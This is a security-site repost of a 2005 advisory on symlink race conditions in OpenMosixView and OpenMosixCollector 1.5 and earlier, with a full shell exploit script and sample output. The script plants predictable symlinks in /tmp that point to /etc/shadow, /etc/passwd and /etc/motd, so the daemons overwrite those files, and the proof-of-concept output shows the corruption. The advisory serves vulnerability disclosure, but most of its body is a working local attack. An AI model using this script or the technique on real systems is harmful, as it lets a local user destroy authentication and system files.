首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenMosixView Multiple Race Conditions
来源:www.rexotec.com 作者:Gangstuck 发布时间:2005-03-29  

OpenMosixView Multiple Race Conditions

Summary
OpenMosix is "a Linux kernel extension for single-system image clustering which turns a network of ordinary computers into a supercomputer".

Lack of file content checking and file types allows local attackers to remove arbitrary files stored by the OpenMosix operating system.

Credit:
The information has been provided by rexolab.

Details
Vulnerable Systems:
* OpenMosixView version 1.5 and prior

At each start of the OpenMosixCollector daemon, each node's data load and saving is assigned to the directory /tmp/openmosixcollector where data are organised in several files:
[ file ] cluster
[ file ] IDnode-n
[ file ] IDnode-n
[ file ] sync.count
[ dir ] phist

The creation of predictable files allow any local attacker to remove arbitrary files on the vulnerable file system via a symlink vulnerability. In this case, we just have to rebuild a fake directory tree.

If openmosixcollector-daemon is already running there is also a way to corrupt the fs due to the creation of a predictable temporary backup directory evert 12 hours (see exploit below for more details).

Exploit:
#!/bin/sh
###############################################
# RX_oMcollector_proof.sh
# OpenMosixCollector exploit [25/03/2005]
# by Gangstuck and Psirac <research@rexotec.com>
###############################################

# -- Choose target
TARGET1="/etc/shadow" # OM view target
TARGET2="/etc/passwd" # OM collector target 1
TARGET3="/etc/motd" # OM collector target 2

# -- OpenMosixCollector temporary directory (without final '/')
OMCTDIR="/tmp/openmosixcollector"

echo "--------------------------------------------------------"
echo "- -= OpenMosixView and OpenMosixCollector =- -"
echo "- Symlink Vulnerability PoC -"
echo "- [versions 1.5 and minor] -"
echo "--------------------------------------------------------"
echo "- Gangstuck and Psirac -"
echo "- <research@rexotec.com> -"
echo "--------------------------------------------------------"

# -- OM View
ln -sf $TARGET1 /tmp/nodes.tmp
if [ $? ]; then
echo "[+] OpenMosixView attack successfully launched."
echo -e " - target is ${TARGET1}\n"
else
echo "[!] Failed to exploit OpenMosixView..."
fi

# -- OM Collector
if [ -d "$OMCTDIR" ]; then
echo -e "[!] Openmosix is already running.\n
Anyway, there is a way to exploit this case but this is not
implemented in this public exploit. OpenMosixcollector-daemon
automatically restarts every 12 hours and saves the current
history to a directory located in /tmp (glibc: P_tmpdir).

This is done whith the utilisation of a predictable temporary
dir name \"${OMCTDIR}_[date]\" where [date] format
look like \"18.0.2005-0.0.48\". Have phun :P"
exit 0
fi

echo -e "[-] OpenMosixCollector seems not to be started..."
echo " - creating fake directory"
mkdir $OMCTDIR
if [ ! $? ]; then
echo "[!] OpenMosixCollector attack failed !"
exit 1
fi
echo " - creating symlink attack against "
echo -e "\t> ${TARGET2}" && ln -sf $TARGET2 ${OMCTDIR}/cluster;
echo -e "\t> ${TARGET3}" && ln -sf $TARGET3 ${OMCTDIR}/sync.count;

echo "[+] OpenMosixCollector attack successfully launched."

#EOF

Proof of Concept:
$ ./RX_OMcollector_proof.sh
...
$ ls -l /tmp/nodes.tmp
lrwxrwxrwx 1 gang gang 12 2005-02-21 23:18 /tmp/nodes.tmp -> /etc/shadow

# openmosixview &
openMosix is started!
openMosix cluster contains 3 members.
cluster config changed! redraw cluster now.

$ cat /etc/shadow
192.168.0.11

# /etc/init.d/openmosixcollector start
Initializing openMosix...
openMosix configuration was successful :)

# ls -l /tmp/openmosixcollector/
rwxrwxrwx 1 user user 12 2004-12-21 23:19 cluster -> /etc/passwd
drwxr-xr-x 2 root root 1024 2004-12-21 23:25 phist
lrwxrwxrwx 1 user user 12 2004-12-21 23:19 sync.count -> /etc/motd
# cat /etc/passwd
21.12.2005-23.25.59 5 184 1757 13 3
21.12.2005-23.26.10 5 184 1757 13 3
# cat /etc/motd



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·LimeWire File Disclosure Explo
·Tincat Buffer Overflow
·Microsoft Windows WAB DoS
·Smail preparse_address_1() Hea
·MailEnable Format String Vulne
·FunLabs Games Multiple Vulnera
·Ocean FTP DoS (Exploit)
·PunBB v1.2.2 functions.php Rem
·phpBB UID Exploit (Perl Exploi
·Mtftpd Server v0.0.3 Remote Bu
·FreeCiv Server DoS Exploit
·Cyrus imapd v2.2.8 Remote Comm
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved